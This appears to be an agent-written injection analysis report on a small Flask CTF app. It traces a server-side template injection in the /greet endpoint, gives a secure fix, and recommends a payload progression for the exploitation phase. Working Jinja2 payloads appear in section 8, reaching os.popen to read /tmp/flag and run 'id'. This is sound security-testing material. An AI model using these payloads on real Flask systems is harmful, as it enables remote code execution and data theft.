# Injection Analysis Report (SQLi & Command Injection)

## 1. Executive Summary

- **Analysis Status:** Complete  
- **Key Outcome:** One high-confidence Server-Side Template Injection (SSTI) vulnerability was identified in the Flask application. This vulnerability provides a direct path to Remote Code Execution (RCE) and has been passed to the exploitation phase via the machine-readable queue at `deliverables/injection_exploitation_queue.json`.  
- **Purpose of this Document:** This report provides the strategic context, vulnerability pattern analysis, and environmental intelligence necessary to effectively exploit the SSTI vulnerability. It is intended to be read alongside the JSON deliverable.  
- **Scope Note:** While SSTI is technically a distinct vulnerability class from SQLi/Command Injection, it was included in this analysis phase as it represents a critical injection vulnerability where untrusted input reaches a dangerous sink (template engine) without proper sanitization.

## 2. Dominant Vulnerability Patterns

### Pattern: Unsafe Template String Construction with User Input

- **Description:** The codebase demonstrates a critical anti-pattern where user-controlled input is directly concatenated into a template string via Python f-string interpolation, and this constructed string is then passed to `render_template_string()`. This violates the fundamental security principle that user input should be passed as template *variables* (which Jinja2 auto-escapes), not as template *content* (which Jinja2 interprets as code).

- **Implication:** Any user input that reaches this pattern can inject arbitrary Jinja2 template expressions. Since Jinja2 templates have access to Python's object introspection capabilities, attackers can leverage this to break out of the template sandbox and achieve full Remote Code Execution. The pattern allows attackers to:
  - Access Flask application configuration and secrets
  - Read arbitrary files from the filesystem
  - Execute arbitrary Python code via object introspection
  - Execute arbitrary shell commands via imported modules
  
- **Representative:** INJ-VULN-01 (`/greet` endpoint, `name` parameter)

### Pattern: Complete Absence of Input Validation

- **Description:** The application demonstrates a zero-defense posture with no input validation, sanitization, length restrictions, character filtering, or type enforcement on any user input. The `name` parameter flows directly from `request.args.get()` to the template engine without passing through any validation layer.

- **Implication:** Even if the SSTI vulnerability were fixed, the lack of any input validation framework suggests high risk for future vulnerabilities. There is no validation middleware, no schema validation, and no defensive coding practices evident in the codebase.

- **Representative:** INJ-VULN-01 (demonstrates the pattern)

## 3. Strategic Intelligence for Exploitation

### Defensive Evasion (WAF Analysis)

- **No Web Application Firewall Detected:** Testing confirmed that the application has no WAF, input filtering, or security middleware. The endpoint directly accepts and processes any input without inspection.
  
- **No Rate Limiting:** The endpoint can be called repeatedly without throttling, allowing for iterative exploitation and data exfiltration.

- **No CORS or Origin Restrictions:** The application does not implement CORS headers or origin validation, meaning it can be attacked from any origin.

- **Recommendation:** Standard SSTI payloads will work without modification. No evasion techniques required.

### Error-Based Injection Potential

- **Template Engine:** Jinja2 3.1.6 is the underlying template engine. Jinja2 error messages are returned to the client when template syntax errors occur, providing feedback for payload refinement.

- **Error Disclosure:** Invalid Jinja2 syntax will generate verbose Python tracebacks that reveal:
  - Template engine version
  - Python version (3.9.24)
  - Application file paths
  - Internal variable names

- **Recommendation:** If complex payloads fail, use error messages to debug and refine exploitation technique.

### Confirmed Technology Stack

- **Framework:** Flask 3.0.3 (Python 3.9.24)
- **Template Engine:** Jinja2 3.1.6
- **WSGI Server:** Werkzeug 3.0.3 (development server)
- **Container:** Docker (python:3.9-slim base image)
- **Execution Context:** Application runs as root (UID 0) inside the container

### Critical Environment Details

- **Flag Location:** The CTF flag is stored at `/tmp/flag` inside the container
- **File Permissions:** Based on reconnaissance, the flag file is likely world-readable
- **Network Access:** Container has outbound network access (standard Docker bridge network)
- **File System Access:** Full read access to container filesystem via RCE

### Exploitation Path Summary

The most direct exploitation path:
1. Inject Jinja2 template expression via `name` parameter
2. Use Python object introspection to access built-in modules (`__builtins__`, `__import__`)
3. Import `os` module and use `os.popen()` to execute shell commands
4. Execute `cat /tmp/flag` to read the CTF flag
5. Exfiltrate flag value in HTTP response

## 4. Vectors Analyzed and Confirmed Secure

**NONE**

This application has only **one** input vector (the `name` parameter at `/greet`), and it is **vulnerable**. There are no secure input vectors to document.

### Additional Context

- **Other Parameters:** The application accepts no other GET parameters, POST data, cookies, or custom headers
- **Other Endpoints:** The `/` (index) endpoint serves static HTML with no user input processing
- **Authentication Endpoints:** No authentication system exists; all endpoints are anonymous

## 5. Analysis Constraints and Blind Spots

### No Blind Spots Identified

This application is exceptionally simple (33 lines of Python code in a single file) with:
- **No database:** No SQL injection surface to analyze
- **No shell commands:** No direct command injection surface (though RCE is achievable via SSTI)
- **No file operations:** No direct path traversal surface (though file reads are achievable via SSTI)
- **No deserialization:** No untrusted deserialization surface
- **No asynchronous jobs:** No background processing or message queues
- **No external integrations:** No API calls, webhooks, or third-party services

The entire application was reviewed in its entirety. The data flow from source to sink is completely visible and traceable through static analysis.

### Limitations of Analysis Scope

- **Container Escape:** This analysis does not assess whether the Docker container can be escaped to compromise the host system. The vulnerability is confirmed to provide RCE within the container.
  
- **Network Pivoting:** This analysis does not assess whether the compromised container can be used to pivot to other systems on the internal network.

- **Stored Procedure Analysis:** Not applicable (no database)

- **Third-Party Library Vulnerabilities:** This analysis focuses on application code vulnerabilities, not vulnerabilities in Flask, Jinja2, or other dependencies themselves.

## 6. Technical Deep Dive: SSTI Vulnerability (INJ-VULN-01)

### Vulnerability Mechanics

The vulnerability exists in the `/greet` route handler at `app/app.py:26-30`:

```python
@app.route('/greet')
def greet():
    name = request.args.get('name', '')      # Line 28: Untrusted input
    template = f"Hello, {name}!"             # Line 29: Direct interpolation
    return render_template_string(template)  # Line 30: Template rendering
```

**Why This Is Vulnerable:**

1. **Incorrect Template Usage:** The developer uses `render_template_string()` incorrectly by constructing the template content with user input, rather than passing user input as a template variable.

2. **F-String Interpolation:** The f-string on line 29 directly embeds the user's input into the template string before Jinja2 sees it. This means if a user submits `{{7*7}}`, the template string becomes `"Hello, {{7*7}}!"`.

3. **Template Expression Evaluation:** When `render_template_string()` processes `"Hello, {{7*7}}!"`, Jinja2 interprets `{{7*7}}` as a template expression and evaluates it, returning `"Hello, 49!"`.

4. **Object Introspection Access:** Jinja2 templates have access to Python's object introspection features. Attackers can navigate the object hierarchy to access dangerous classes and modules.

### Secure Alternative

The correct implementation would be:

```python
@app.route('/greet')
def greet():
    name = request.args.get('name', '')
    template = "Hello, {{ name }}!"
    return render_template_string(template, name=name)
```

In this secure version:
- The template string is static and hardcoded (line 2)
- User input is passed as a template **variable** (line 3)
- Jinja2's auto-escaping protects against injection

### Exploitation Complexity

- **Attack Complexity:** LOW
- **Authentication Required:** NO
- **User Interaction Required:** NO
- **Skill Level Required:** LOW (publicly documented SSTI payloads work)

### Impact Assessment

- **Confidentiality:** HIGH (read arbitrary files, access secrets)
- **Integrity:** HIGH (modify files, execute arbitrary code)
- **Availability:** HIGH (denial of service via resource exhaustion or container crash)

**Overall CVSS v3.1 Score:** 9.8 (Critical)

## 7. Comparison to Standard Injection Types

While this analysis phase is titled "SQLi & Command Injection," the SSTI vulnerability identified shares the same fundamental security flaw:

| Aspect | SQLi | Command Injection | SSTI (This Finding) |
|--------|------|-------------------|---------------------|
| **Untrusted input reaches dangerous sink?** | ✓ | ✓ | ✓ |
| **Incorrect/missing sanitization?** | ✓ | ✓ | ✓ |
| **String concatenation used?** | ✓ | ✓ | ✓ |
| **Can achieve code execution?** | Sometimes | ✓ | ✓ |
| **Correct defense mechanism** | Parameterized queries | Array-based args | Template variables |
| **Anti-pattern present** | String concatenation | String interpolation | String interpolation |

The SSTI vulnerability in this application is functionally equivalent to a command injection vulnerability in terms of impact (both achieve RCE) and root cause (both involve untrusted input in a structural command/expression without proper defenses).

## 8. Recommendations for Exploitation Phase

1. **Start Simple:** Begin with basic payload `{{7*7}}` to confirm SSTI vulnerability
2. **Enumerate Environment:** Use `{{config}}` to view Flask configuration
3. **Python Version Detection:** Use `{{''.__class__.__mro__}}` to confirm Python object access
4. **File Read (Flag Extraction):** Use object introspection to access `os.popen()` and execute `cat /tmp/flag`
5. **Full RCE Demonstration:** Execute commands like `id`, `whoami`, `uname -a` to prove complete system compromise

### Recommended Payload Progression

**Phase 1: Confirmation**
```
{{7*7}}
Expected: "Hello, 49!"
```

**Phase 2: Object Access**
```
{{config}}
Expected: Flask config object disclosure
```

**Phase 3: File Read**
```
{{request.application.__globals__.__builtins__.__import__('os').popen('cat /tmp/flag').read()}}
Expected: Flag value in response
```

**Phase 4: RCE Proof**
```
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
Expected: uid=0(root) gid=0(root) groups=0(root)
```

---

## CONCLUSION

This injection analysis identified **one critical SSTI vulnerability** in a minimal Flask CTF application. The vulnerability is a textbook example of insecure template rendering where user input is incorrectly treated as template content rather than template data. The application has no security controls whatsoever, making exploitation trivial and impact maximal.

**Analysis Coverage:** 100% (1/1 input vectors analyzed)  
**Vulnerabilities Found:** 1 CRITICAL SSTI/RCE  
**Externally Exploitable:** YES (via http://localhost:33081)  
**Next Phase:** Exploitation agent should proceed with flag extraction via SSTI payload